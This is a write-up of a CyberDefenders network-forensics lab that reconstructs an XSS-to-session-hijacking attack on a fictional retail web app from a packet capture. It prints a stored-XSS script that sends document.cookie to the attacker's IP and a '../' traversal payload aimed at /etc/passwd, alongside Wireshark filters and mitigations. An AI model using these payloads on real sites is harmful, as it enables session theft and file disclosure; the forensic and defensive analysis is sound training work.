Investigation overview
Lab: CyberDefenders RetailBreach
Scenario: ShopSphere retail web application
Evidence: Network packet capture (PCAP)
Tools and techniques: Wireshark, HTTP traffic analysis, session correlation, attack timeline reconstruction
Result: Completed all seven investigation objectives
RetailBreach is a network-forensics investigation of a compromised retail web application. I analyzed the captured HTTP traffic to identify the attacker, understand how a legitimate administrator’s session was stolen, and trace the attack into the administrative interface.
The investigation revealed a connected chain of Gobuster reconnaissance → stored cross-site scripting (XSS) → administrator cookie theft → session hijacking → path traversal.
Rather than viewing these events in isolation, the key was to connect the source IPs, HTTP methods and URLs, request bodies, cookies, and timestamps into one sequence.
Incident overview and attack path
The attacker targeted ShopSphere, a fictional web application, and used its public review functionality to deliver malicious JavaScript. When an administrator visited the affected page, the injected code transmitted the administrator’s session cookie to the attacker. The attacker then reused that session to access administrative functionality and supplied a traversal payload to a vulnerable log viewer.
| Role | IP address | Role in the investigation |
|---|---|---|
| Attacker | 111.224.180.128 |
Enumeration, XSS injection, session replay, traversal |
| Web server | 73.124.17.52 |
ShopSphere application |
| Administrator | 135.143.142.5 |
Legitimate authenticated browser session |
Attack sequence
Attacker (111.224.180.128)
|
| 1. Gobuster scans web paths
v
ShopSphere web server (73.124.17.52)
|
| 2. Malicious JavaScript submitted to /reviews.php
v
Stored review content
|
| 3. Administrator (135.143.142.5) loads /reviews.php
v
JavaScript executes in administrator's browser
|
| 4. document.cookie sent to attacker
v
Attacker replays the administrator's PHPSESSID
|
| 5. Authenticated access to /admin/log_viewer.php
v
6. file=../../../../../etc/passwd
Directory traversal attempt
This chain illustrates how a client-side input-validation and output-encoding failure can lead to server-side abuse of a privileged feature.
Incident timeline
The captured incident occurred on March 29, 2024 (UTC).
| Approximate UTC time | Activity | Correlated evidence |
|---|---|---|
| 11:50 | Legitimate administrator session exists | Administrator HTTP traffic and session cookie |
| 12:00–12:01 | Attacker enumerates the website | High-volume requests and Gobuster User-Agent |
| 12:08:47 | Attacker submits malicious review | POST to /reviews.php with injected script |
| 12:09:50 | Administrator loads the compromised review | GET to /reviews.php |
| Around 12:11 | Attacker reuses the administrator’s session | Matching PHPSESSID from a different source IP |
| Around 12:11 | Attacker accesses administrative log viewer | Request to /admin/log_viewer.php |
| Subsequently | Directory traversal is attempted | File parameter targeting /etc/passwd |
The critical timing relationship is review submission before administrator page load, followed by session-token reuse from the attacker’s IP.
Investigation findings
1. Identify the attacker
Attacker IP: 111.224.180.128
I distinguished the suspicious source by examining HTTP request patterns against the ShopSphere server. The attacker generated repeated requests to many candidate web paths, then proceeded to requests associated with the XSS injection and unauthorized administrative access.
The combination of unusual request volume, systematic path enumeration, and subsequent exploitation makes the source significant. A high request count alone would not establish malicious intent.
2. Identify the reconnaissance tool
Tool: Gobuster
The HTTP User-Agent included gobuster/3.6, consistent with automated directory and file enumeration.
Gobuster sends requests to candidate paths from a wordlist. In a packet capture, the resulting traffic can appear as a rapid sequence of GET requests to different URLs, frequently producing 403 or 404 responses.
The tool identification helps establish that the initial activity was systematic discovery rather than normal browsing.
3. Extract and analyze the stored XSS payload
Injection point: /reviews.php
I identified the malicious JavaScript submitted through the site’s review functionality. The attack used stored XSS: the application accepted attacker-controlled content and later delivered it to another user’s browser without safely encoding it.
The relevant payload was:
<script>fetch('http://111.224.180.128/' + document.cookie);</script>
The execution path is straightforward:
- The browser renders the injected
<script>. document.cookiereads the page’s JavaScript-accessible cookies.fetch()initiates an HTTP request to the attacker-controlled host.- The cookie value is included in the outbound request URL.
The session cookie must be accessible to JavaScript for this specific theft method to work. Setting a session cookie’s HttpOnly attribute prevents access through document.cookie, although it does not fix the underlying XSS flaw.
4. Establish when the administrator encountered the XSS
Administrator visit: March 29, 2024 at approximately 12:09 UTC
The administrator requested the compromised reviews page after the malicious submission. Correlating these two events established when the payload could execute in the administrator’s browser.
The sequence matters more than either timestamp in isolation:
- The review submission establishes that the malicious script was present.
- The administrator’s subsequent GET request establishes exposure.
- The later cookie-related traffic connects that exposure to session theft.
5. Identify and correlate the stolen session token
Session type: PHPSESSID
I identified the administrator’s session cookie and correlated its appearance in legitimate administrator traffic with later traffic from the attacker’s source IP.
The same session identifier appearing in two distinct client contexts was central to identifying session hijacking. The attacker did not need the administrator’s password if the application accepted the replayed session identifier as proof of authentication.
This is why a session cookie is security-sensitive: it can function as a bearer credential, meaning possession of the token can be sufficient to exercise the associated session privileges.
The token value itself is omitted from this article because its exact bytes are not necessary to explain the compromise.
6. Identify the vulnerable administrative endpoint
Endpoint: /admin/log_viewer.php
The attacker used the stolen session to reach an administrative log-viewing feature.
A normal log-viewer request could look like:
/admin/log_viewer.php?file=error.log
The file parameter is the key attack surface. If an application uses an untrusted parameter directly as a filesystem path, an authenticated user may be able to read outside the intended logs directory.
The stolen cookie enabled access to the administrative feature; the file-handling weakness created a separate vulnerability within it.
7. Extract and interpret the directory traversal payload
Target: /etc/passwd
The malicious request used repeated parent-directory sequences:
/admin/log_viewer.php?file=../../../../../etc/passwd
Each ../ component moves to a parent directory during path resolution. Repetition can escape the application’s intended directory and reach other readable files.
The request targeted /etc/passwd, which stores local account information on many Linux systems.
The captured request establishes the directory traversal attempt. Determining whether file contents were returned requires assessing the corresponding HTTP response; the traversal payload alone does not prove successful disclosure.
Wireshark analysis techniques
This investigation depended on narrowing the packet capture to relevant HTTP conversations, then correlating requests, timestamps, and session data across hosts.
Useful display filters for investigating the same activity include:
http
ip.src == 111.224.180.128 && http
http.user_agent contains "gobuster"
http.request.method == "POST" && http.request.uri contains "reviews.php"
http.request.method == "GET" && http.request.uri contains "reviews.php"
http.request.uri contains "log_viewer.php"
http.request.uri contains "../"
The most important evidence checks are:
- Source and destination: Identify which hosts initiated each request.
- HTTP headers: Inspect User-Agent and Cookie values.
- Request bodies: Decode the injected review payload.
- Session continuity: Compare the
PHPSESSIDacross legitimate and attacker-origin requests. - Timestamps: Establish the injection, administrator visit, and session reuse in order.
- Request and response pairing: Distinguish an attempted directory traversal from confirmed file disclosure.
Wireshark’s Follow HTTP Stream feature is useful for reading complete request/response exchanges rather than individual packet fragments.
Defensive detections and mitigations
| Attack stage | Detection opportunity | Mitigation |
|---|---|---|
| Directory enumeration | Rapid requests to many distinct paths; unusual 403/404 rates or User-Agent | Rate limiting, web telemetry, monitoring of administrative paths |
| Stored XSS | Script content in user submissions and rendered responses | Context-aware output encoding, strict HTML sanitization, Content Security Policy |
| Cookie theft | Suspicious browser-initiated requests to unrelated destinations | HttpOnly, Secure, HTTPS, restrictive CSP |
| Session hijacking | One session token used from inconsistent clients or IPs | Session invalidation, reauthentication, session anomaly monitoring |
| Directory traversal | Parent-directory sequences and encoded variants in file parameters | File allowlists, canonical path containment checks, least-privilege service access |
A source-IP change by itself is not conclusive evidence of hijacking. The stronger conclusion comes from correlating the same session identifier with the earlier XSS exposure and subsequent privileged requests.
In a real-world response, the priority would be to revoke the compromised session, investigate other potentially affected sessions, fix the stored-XSS flaw, harden the log viewer, and review application logs for further abuse.
MITRE ATT&CK mapping
| Technique | ID | Evidence in the scenario |
|---|---|---|
| Active Scanning | T1595 |
Automated web-path enumeration |
| Exploit Public-Facing Application | T1190 |
Stored XSS targeting the review feature |
| Steal Web Session Cookie | T1539 |
JavaScript-based capture of session data |
| Web Session Cookie | T1550.004 |
Reuse of the administrator’s session token |
| Data from Local System | T1005 |
Possible objective of the local-file access attempt, not confirmed collection |
These techniques describe the attack behavior within the training scenario.
Investigation outcome
I completed all seven RetailBreach investigation objectives and reconstructed the attacker sequence from the captured HTTP evidence.
The most valuable analytical step was connecting separate events across multiple HTTP conversations: enumeration, malicious content submission, administrator exposure, reuse of a privileged session, and a traversal request against an administrative script.
The investigation reinforced that session hijacking is not always a login attack. A stolen bearer token can allow an attacker to use an existing authenticated session. It also demonstrated the importance of evaluating client-side XSS and server-side file-access weaknesses as parts of a single intrusion chain, rather than treating each alert as an isolated incident.